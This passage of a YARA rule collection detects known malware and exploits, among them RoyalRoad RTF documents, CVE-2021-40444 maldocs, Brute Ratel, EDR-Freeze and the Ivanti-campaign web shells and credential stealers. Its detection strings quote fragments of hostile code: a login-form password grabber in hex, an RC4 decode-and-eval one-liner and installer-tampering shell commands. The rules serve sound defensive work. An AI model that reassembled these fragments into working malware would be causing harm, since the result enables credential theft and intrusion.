		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L42-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e252868042e5150d99de2c2f4642f3d91d764d5a062f3a8de9ab316e299e00ac"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "653037396132353234666136336135356662636665" ascii
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern3 : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "7bce2fe6-a921-51ec-8b5f-5d7f55ab3864"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L59-L75"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3b5d9872eb86d1a220e5b70c560e7054bee8b2bc1fa2a75781d87616674e2927"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "4746424151515151505050500000000000584242eb0642424235353336204460606060606060606061616161616161616161616161616161"
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ab : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "b4926888-b576-59f7-932a-03b9326845da"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L77-L92"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "dd9468b3208a27b6f3b56037013f06c4d2adbd201a12df141bc980ad595a75c0"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "4746424151515151505050500000000000584242EB064242423535333620446060606060606060606161616161616}1616161616161616161" ascii
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ce : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "c6e8a072-23cd-5f6a-9b4f-57d3e4500d13"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L94-L109"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7033c5874b406341a68f761b45fd6a9b73a9875c80b14d52a7c2240202c8fb40"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "584242eb064242423535333620446060606060606060606161616161616161616161616}1616161" ascii
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_Code_Pattern4D : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "1677dfb4-7611-5bef-87d1-4cec6285791f"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L113-L128"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b531063d2a5ae36ae4e708a749dcf2cdc4c85fc43769a8525049e6facfca674"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "584242eb06424242353533362044606060606060606060616161616161616161616}16161616161" ascii
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_Royalroad_RTF : FILE
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		author = "nao_sec"
		id = "366ec9c3-e6ad-5198-88d5-15aa84a8358f"
		date = "2020-01-15"
		modified = "2023-12-05"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_royalroad.yar#L133-L148"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "20031fe6d6a0b2fad43f7e04bb82321c2ea75193f23194edead7ca530af8ac55"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$S1 = "objw2180\\objh300" ascii
		$RTF = "{\\rt"
	condition:
		$RTF at 0 and $S1
}

rule SIGNATURE_BASE_HKTL_EXPL_POC_Libssh_Auth_Bypass_CVE_2023_2283_Jun23_1 : CVE_2023_2283 FILE
{
	meta:
		description = "Detects POC code used in attacks against libssh vulnerability CVE-2023-2283"
		author = "Florian Roth"
		id = "e72eba33-686f-5fca-bca3-2b875d1ec224"
		date = "2023-06-08"
		modified = "2023-12-05"
		reference = "https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_libssh_cve_2023_2283_jun23.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4c3d54d7f4902c1da664e41096b5931e6534aaaf63243f12e05b81af63d8b28f"
		score = 85
		quality = 85
		tags = "CVE-2023-2283, FILE"
	strings:
		$s1 = "nprocs = %d" ascii fullword
		$s2 = "fork failed: %s" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and all of them
}

rule SIGNATURE_BASE_HKTL_Bruteratel_Badger_Indicators_Oct22_4 : FILE
{
	meta:
		description = "Detects Brute Ratel C4 badger indicators"
		author = "Matthew @embee_research, Florian Roth"
		id = "a62d08ae-0fb3-55e9-b6f8-7940f8032e4a"
		date = "2022-10-12"
		modified = "2023-12-05"
		reference = "https://twitter.com/embee_research/status/1580030310778953728"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/hktl_bruteratel_c4_badger.yar#L2-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9af05225f462c8d4ec1fb14dc06bb789f76b0d818cb82c3dfcd5abc693727f33"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = { b? 89 4d 39 8c }
		$s2 = { b? bd ca 3b d3 }
		$s3 = { b? b2 c1 06 ae }
		$s4 = { b? 74 eb 1d 4d }
	condition:
		filesize < 8000KB and all of ( $s* ) and not uint8( 0 ) == 0x02
}

rule SIGNATURE_BASE_REGEORG_Tuneller_Generic : FILE
{
	meta:
		description = "No description has been set in the source file - Signature Base"
		author = "Mandiant"
		id = "a87979b7-2732-5a32-b3f3-a815a58b6589"
		date = "2021-12-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/webshell_regeorg.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "ba22992ce835dadcd06bff4ab7b162f9"
		logic_hash = "1657928875c3cd2d5bf774929b0497d78f0211b321f8a4138cc9b8c80b9f99d6"
		score = 75
		quality = 85
		tags = "FILE"
		date_modified = "2021-12-20"
	strings:
		$s1 = "System.Net.IPEndPoint"
		$s2 = "Response.AddHeader"
		$s3 = "Request.InputStream.Read"
		$s4 = "Request.Headers.Get"
		$s5 = "Response.Write"
		$s6 = "System.Buffer.BlockCopy"
		$s7 = "Response.BinaryWrite"
		$s8 = "SocketException soex"
	condition:
		filesize < 1MB and 7 of them
}

rule SIGNATURE_BASE_EXPL_CVE_2021_40444_Document_Rels_XML : CVE_2021_40444 FILE
{
	meta:
		description = "Detects indicators found in weaponized documents that exploit CVE-2021-40444"
		author = "Jeremy Brown / @alteredbytes"
		id = "812bb68e-71ea-5a9a-8d39-ab99fdaa6c58"
		date = "2021-09-10"
		modified = "2023-12-05"
		reference = "https://twitter.com/AlteredBytes/status/1435811407249952772"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cve_2021_40444.yar#L6-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b05c3b33c3cab2c9109d808ed197758bc987f07beee77e1f61094715e0c1a1e7"
		score = 75
		quality = 85
		tags = "CVE-2021-40444, FILE"
	strings:
		$b1 = "/relationships/oleObject" ascii
		$b2 = "/relationships/attachedTemplate" ascii
		$c1 = "Target=\"mhtml:http" nocase
		$c2 = "!x-usc:http" nocase
		$c3 = "TargetMode=\"External\"" nocase
	condition:
		uint32( 0 ) == 0x6D783F3C and filesize < 10KB and 1 of ( $b* ) and all of ( $c* )
}

rule SIGNATURE_BASE_EXPL_MAL_Maldoc_OBFUSCT_MHTML_Sep21_1 : CVE_2021_40444 FILE
{
	meta:
		description = "Detects suspicious office reference files including an obfuscated MHTML reference exploiting CVE-2021-40444"
		author = "Florian Roth (Nextron Systems)"
		id = "781cfd61-d5ac-58e5-868f-dbd2a2df3500"
		date = "2021-09-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/decalage2/status/1438946225190014984?s=20"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cve_2021_40444.yar#L27-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
		logic_hash = "11a73572970d2d85d308330119a2c5243f2848ae78a861decdb0cdbde0d9d1c2"
		score = 90
		quality = 85
		tags = "CVE-2021-40444, FILE"
	strings:
		$h1 = "<?xml " ascii wide
		$s1 = "109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#109;&#108" ascii wide
	condition:
		filesize < 25KB and all of them
}

rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_1 : WINDOWS CVE FILE
{
	meta:
		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
		author = "Florian Roth (Nextron Systems)"
		id = "ffcaf270-f574-5692-90e5-6776c34eb71b"
		date = "2021-09-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/sudosev/status/1439205606129377282"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cve_2021_40444.yar#L64-L81"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
		logic_hash = "fc8f0dd02460ab8f8cc6717c66eba51e6ed74881a48e92fd0bf978467dfb40e3"
		score = 65
		quality = 85
		tags = "WINDOWS, CVE, FILE"
	strings:
		$h1 = "<?xml " ascii wide
		$xml_e = "Target=\"&#" ascii wide
		$xml_mode_1 = "TargetMode=\"&#" ascii wide
	condition:
		filesize < 500KB and $h1 and 1 of ( $xml* )
}

rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_2 : WINDOWS CVE FILE
{
	meta:
		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
		author = "Florian Roth (Nextron Systems)"
		id = "c3c5ec4f-5d2a-523c-bd4b-b75c04bac87d"
		date = "2021-09-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/sudosev/status/1439205606129377282"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cve_2021_40444.yar#L83-L98"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "82c70e0f0b72a57302e5853cc53ae18dbb0bc8dabdfd27b473a7664b2fc5e874"
		score = 65
		quality = 85
		tags = "WINDOWS, CVE, FILE"
	strings:
		$h1 = "<?xml " ascii wide
		$a1 = "Target" ascii wide
		$a2 = "TargetMode" ascii wide
		$xml_e = "&#x0000" ascii wide
	condition:
		filesize < 500KB and all of them
}

rule SIGNATURE_BASE_EXPL_RAR_Archive_With_Path_Traversal_Aug25 : CVE_2025_8088 CVE_2025_6218 FILE
{
	meta:
		description = "Detects RAR archives abused for path traversal like CVE-2025-8088 and CVE-2025-6218"
		author = "Arnim Rupp (Nextron Systems)"
		id = "de4a42b6-e050-5b7c-9e42-d9e8e0b7e308"
		date = "2025-08-11"
		modified = "2025-08-11"
		reference = "https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/#the-discovery-of-cve-2025-8088"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/exploit_rar_archive_with_path_traversal_aug25.yar#L1-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3"
		hash = "dfab2f25c9d870f30bbc4abb873d155cf4904ece536714fb9cd32b2e0126dfab"
		hash = "107f3d1fe28b67397d21a6acca5b6b35def1aeb62a67bc10109bd73d567f9806"
		logic_hash = "eedc5cb144e516a1d50aa8cb2fa386cb44d4c6c2de89267dc1c4d14da972069d"
		score = 70
		quality = 85
		tags = "CVE-2025-8088, CVE-2025-6218, FILE"
	strings:
		$s1 = "..\\\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu"
		$s2 = "..//../AppData/Roaming/Microsoft/Windows/Start Menu"
		$s3 = "/.. /.. /AppData/Roaming/Microsoft/Windows/Start Menu/"
	condition:
		1 of ( $s* ) and ( uint16( 0 ) == 0x4B50 or int32 ( 0 ) == 0x21726152 )
}

rule SIGNATURE_BASE_HKTL_EDR_Freeze_Sep25_2 : FILE
{
	meta:
		description = "Detects EDR-Freeze hacktool"
		author = "Florian Roth"
		id = "1446a128-47ee-51a4-9d69-326dfd0d8267"
		date = "2025-09-30"
		modified = "2025-09-30"
		reference = "https://github.com/TwoSevenOneT/EDR-Freeze"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/hktl_edr_freeze_sep25.yar#L1-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "735d56839f17ca98a0022e6044b8d0bc43201b48e3a64c7b671c417f62749643"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "193ca17f574fa5e23866560170425f83696f78e83dabd7e831dd7827a69283fd"
		hash2 = "36a17919a97732f1ddc31b421c6ebb0c535924f895d7caaff04a5da908c42f76"
		hash3 = "394b768bfd3506a9ee6b7bbe6f87c40fb23c28f7919a2a9eb333b27db635eafe"
		hash4 = "a8ec07f006a9068ce5f068b3bb61b0649481b6b26203b8eb4308c53ff1d1bf8d"
		hash5 = "d485017fb20c5a8fe38a6dbf896d4cbce485ff53a6cfe0e1440a1818b2d303ee"
		hash6 = "d989ebd417e6fae60a544e43bfc0ee63f5d9352ce0059b95ed4e7e18efbc5d0b"
		hash7 = "e2b2dd0984e52112965392471f6a09020eb8380aa53d48d2fb4dd3aaa7edae9b"
	strings:
		$x1 = "EDR-Freeze.exe <TargetPID> <SleepTime>" wide fullword
		$x2 = "Successfully created PPL process with PID:" wide fullword
		$x3 = "\\EDR-Freeze.pdb" ascii
		$sa1 = "C:\\Windows\\System32\\WerFaultSecure.exe" wide fullword
		$sa2 = "Failed to create dump files: " wide fullword
		$sb1 = " /encfile" wide fullword
		$sb2 = " /pid" wide fullword
		$sb3 = " /tid" wide fullword
		$sb4 = " /cancel" wide fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or all of ( $sa* ) or all of ( $sb* ) ) or 6 of them
}

rule SIGNATURE_BASE_APT_UNC5221_Ivanti_Forensicartifacts_Jan24_1 : FILE
{
	meta:
		description = "Detects forensic artifacts found in the Ivanti VPN exploitation campaign by APT UNC5221"
		author = "Florian Roth"
		id = "49ba2a96-379d-5a58-979d-45e83fa546e7"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7f485f41072f5584dc76e71564e13066d9fe41685f33bff9c2886fa7d2155f94"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "system(\"chmod a+x /home/etc/sql/dsserver/sessionserver.sh\");"
		$x2 = "SSH-2.0-OpenSSH_0.3xx."
		$x3 = "sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install"
	condition:
		filesize < 5MB and 1 of them
}

rule SIGNATURE_BASE_M_Hunting_Backdoor_ZIPLINE_1 : FILE
{
	meta:
		description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."
		author = "Mandiant"
		id = "753884d6-d4c1-5e94-9d2c-f6ebb7bfaf85"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L18-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "41857ba465dd1f2e1aa8c1eed36b73606385eeedf233fd480bb8a4ef15499174"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "SSH-2.0-OpenSSH_0.3xx" ascii
		$s2 = "$(exec $installer $@)" ascii
		$t1 = "./installer/do-install" ascii
		$t2 = "./installer/bom_files/" ascii
		$t3 = "/tmp/data/root/etc/ld.so.preload" ascii
		$t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 5MB and ( ( 1 of ( $s* ) ) or ( 3 of ( $t* ) ) )
}

rule SIGNATURE_BASE_M_Hunting_Dropper_WIREFIRE_1 : FILE
{
	meta:
		description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."
		author = "Mandiant"
		id = "051244f0-00b1-5a4b-8c81-f4ce6f1aa22a"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L40-L58"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "6de651357a15efd01db4e658249d4981"
		logic_hash = "c389a666bd093cdd7700385da43c8fa58b9f3d899e658c516df0f3aca439401d"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
		$s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
		$s3 = "Handles DELETE request to delete an existing visits data." ascii
		$s4 = "request.data.decode().startswith('GIF'):" ascii
		$s5 = "Utils.api_log_admin" ascii
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_M_Hunting_Webshell_LIGHTWIRE_2 : FILE
{
	meta:
		description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner."
		author = "Mandiant (modified by Florian Roth)"
		id = "9451da63-c68e-51e8-b4b1-c3082d46fbf6"
		date = "2024-01-11"
		modified = "2024-01-12"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L60-L81"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "3d97f55a03ceb4f71671aa2ecf5b24e9"
		logic_hash = "37b22a6c45dd53bc7b3f0c75cc5072e990246fea24591d192176c0b496e92084"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "eval{my"
		$s2 = "Crypt::RC4->new(\""
		$s3 = "->RC4(decode_base64(CGI::param('"
		$s4 = ";eval $"
		$s5 = "\"Compatibility check: $@\";}"
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_M_Hunting_Dropper_THINSPOOL_1 : FILE
{
	meta:
		description = "This rule detects THINSPOOL, a dropper that installs the LIGHTWIRE web shell onto a Pulse Secure system."
		author = "Mandiant"
		id = "dd340f72-0a2c-5b66-9e31-1c0f20cd842f"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L83-L100"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "677c1aa6e2503b56fe13e1568a814754"
		logic_hash = "a8043822cd36a802ba6656c42085f09d67cedb0689c9da48438d788b320bd6c0"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "/tmp/qactg/" ascii
		$s2 = "echo '/home/config/dscommands'" ascii
		$s3 = "echo '/home/perl/DSLogConfig.pm'" ascii
		$s4 = "ADM20447" ascii
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_M_Hunting_Credtheft_WARPWIRE_1 : FILE
{
	meta:
		description = "This rule detects WARPWIRE, a credential stealer written in JavaScript that is embedded into a legitimate Pulse Secure file."
		author = "Mandiant"
		id = "9a6a8783-b531-560d-998d-8aa7c90158a8"
		date = "2024-01-11"
		modified = "2024-04-24"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_report_ivanti_mandiant_jan24.yar#L102-L120"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "d0c7a334a4d9dcd3c6335ae13bee59ea"
		logic_hash = "8029df5998166ab3db3319b0dd765ef3356b4b44dc16d2d418015a0f7ffac97e"
		score = 75
		quality = 77
		tags = "FILE"
	strings:
		$s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}
		$s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}
		$s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}
		$s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74}
		$s5 = "Remember the last selected auth realm for 30 days" ascii
	condition:
		filesize < 8KB and all of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos : FILE
{
	meta:
		description = "Kobalos malware"
		author = "Marc-Etienne M.Leveille"
		id = "dfa47e30-c093-57f6-af01-72a2534cc6f4"
		date = "2020-11-02"
		modified = "2023-12-05"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lnx_kobalos.yar#L32-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "48aec47b70633d4c8cb55d90a2e168f3c2027ef27cfe1cd5d30dcdc08a2ff717"
		score = 75
		quality = 85
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$encrypted_strings_sizes = {
            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
        }
		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
	condition:
		uint16( 0 ) == 0x457f and any of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos_SSH_Credential_Stealer : FILE
{
	meta:
		description = "Kobalos SSH credential stealer seen in OpenSSH client"
		author = "Marc-Etienne M.Leveille"
		id = "0f923f92-c5d8-500d-9a2e-634ca7945c5c"
		date = "2020-11-02"
		modified = "2023-12-05"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lnx_kobalos.yar#L59-L76"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fdabaea0c838e43b8716bcd102bdeebf2f08fc041b0b909333e3d9d6f94391fc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
	condition:
		uint16( 0 ) == 0x457f and any of them
}

rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_1 : FILE
{
	meta:
		description = "Detects Red Delta samples"
		author = "Florian Roth (Nextron Systems)"
		id = "47417488-e843-5346-9baa-fcce30b884d1"
		date = "2020-10-14"
		modified = "2023-12-05"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_reddelta.yar#L2-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1f2406563b863b8ccd0fd8d8d33c576c4b82dabb55a1e4fa8291859323389834"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "30b2bbce0ca4cb066721c94a64e2c37b7825dd72fc19c20eb0ab156bea0f8efc"
		hash2 = "42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9bad145e4ea5b8be2e2"
		hash3 = "480a8c883006232361c5812af85de9799b1182f1b52145ccfced4fa21b6daafa"
		hash4 = "7ea7c6406c5a80d3c15511c4d97ec1e45813e9c58431f386710d0486c4898b98"
	strings:
		$x1 = "InjectShellCode" ascii fullword
		$s1 = "DotNetLoader.exe" wide ascii fullword
		$s2 = "clipboardinject" ascii fullword
		$s3 = "download.php?raw=1" wide
		$s4 = "Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint" wide
		$s5 = "FlashUpdate.exe" wide
		$s6 = "raw_cc_url" ascii fullword
		$op1 = { 48 8b 4c 24 78 48 89 01 e9 1a ff ff ff 48 8b 44 }
		$op2 = { ff ff 00 00 77 2a 8b 44 24 38 8b 8c 24 98 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and $x1 or 3 of them
}

rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_2 : FILE
{
	meta:
		description = "Detects Red Delta samples"
